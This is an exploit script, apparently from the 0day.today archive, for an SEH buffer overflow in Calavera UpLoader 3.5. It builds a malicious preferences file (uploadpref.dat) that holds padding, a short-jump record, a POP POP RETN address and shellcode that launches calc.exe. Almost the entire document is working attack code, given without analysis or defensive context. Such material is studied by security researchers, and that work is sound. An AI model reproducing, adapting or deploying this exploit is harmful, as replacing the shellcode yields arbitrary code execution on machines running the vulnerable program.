Calavera UpLoader 3.5 - SEH Buffer Overflow Exploit

rell = "\x41"* 477
rell1 = "\x42"* 4000
 
head = "\x41"* 8
head += "\x0d\x0a\x31\x0d\x0a"
head1 = "\x0d\x0a"
head2 = "170.1.1.0"
head2 +="\x0d\x0a"
head2 +="\x22"
head2 += "C:\Archivos2de2programa\Uploader!\Uploader!23151EXE"
head2 +="\x22"
 
 
# shellcode para calc.exe
 
shellcode = "\x33\xD2\xB2\x50\x80\xF2\x55\x52\xC6\x45"
shellcode += "\x31\x63\xC6\x45\x32\x61\xC6\x45\x33\x6C"
shellcode += "\xC6\x45\x34\x63\xC6\x45\x35\x2E\xC6\x45\x36\x65"
shellcode += "\xC6\x45\x37\x78\xC6\x45\x38\x65\x88\x45"
shellcode += "\x39\x8D\x45\x31\x50\xB9\x31\x75\x66\x31"
shellcode += "\x81\xF1\x69\x4D\x26\x31\xFF\xe1"
 
# Next SHE
Nshe = "\xeb\x06\x90\x90"
# POP POP RETN
PPR = "\x38\xbf\x40\x00"
 
explo = (head + rell + Nshe + PPR + shellcode + rell1 + head1 + head2)
arch = open ("uploadpref.dat", "w")
 
arch.write(explo)
arch.close

#  0day.today [2018-04-08]  #